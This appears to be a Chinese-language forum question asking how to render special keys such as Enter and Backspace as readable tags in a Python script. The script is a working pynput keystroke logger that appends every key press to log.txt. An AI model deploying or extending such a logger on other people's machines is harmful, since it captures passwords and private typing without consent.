因此,我正在尝试为非单个字符(例如,回车键和退格键)替换键。我有要替换的东西,但我不知道如何使程序意识到它需要做什么。
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys =[]
substitution = ['Key.enter', '[ENTER]\n', 'Key.backspace', '[BACKSPACE]', 'Key.space', ' ',
'Key.alt_l', '[ALT]', 'Key.tab', '[TAB]', 'Key.delete', '[DEL]', 'Key.ctrl_l', '[CTRL]',
'Key.left', '[LEFT ARROW]', 'Key.right', '[RIGHT ARROW]', 'Key.shift', '[SHIFT]', '\\x13',
'[CTRL-S]', '\\x17', '[CTRL-W]', 'Key.caps_lock', '[CAPS LK]', '\\x01', '[CTRL-A]', 'Key.cmd',
'[WINDOWS KEY]', 'Key.print_screen', '[PRNT SCR]', '\\x03', '[CTRL-C]', '\\x16', '[CTRL-V]']
def on_press(key):
global keys, count
keys.append(key)
count += 1
if count >= 1:
count = 0
write_file(keys)
keys =[]
def write_file(keys):
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'", "")
if k .find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
def on_release(key):
pass
#if key == Key.esc:
#return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()```